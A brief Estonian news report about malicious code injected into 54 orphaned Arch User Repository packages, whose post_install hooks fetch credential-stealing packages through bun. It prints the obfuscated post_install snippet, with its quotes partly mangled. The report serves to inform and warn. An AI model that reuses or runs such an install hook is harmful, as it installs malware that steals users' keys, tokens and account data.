AUR-is on toimunud pahatahtliku koodi sisestamine veel 54 paketti

Hoolimata Arch Linuxi arendajate võtudest ei ole AUR-i (Arch User Repository) pahatahtliku koodi sisestamine lõpetatud. Mõni tund tagasi sisestati pahatahtlik kood veel 54 paketti, mis on jäänud ilma hooldusteta (pahatahtlike muudatuste tühistamise ajalugu). Erinevalt eelmise päeva rünnakutest ei kasutatud sel korral pahatahtlike sõltuvuste installimiseks pakettide haldurit npm, vaid platvormi bun. Rakendatud filtrite vältimiseks sisestatakse post_install funktsiooni obfuskeeritud string, milles kutsub välja käsku «bun add» pahatahtlike koodiga pakettide installimiseks, mis skaneerivad ja saadavad andmeid välisele server võtmete, tokenite ja kontoinfo.

post_install() {
$’\x63'»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d’‘d’ $’\141\x6e'»s'»i»»-«$’\143'»o»l»o»r’$’\x73' ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}

Allikas: opennet.ru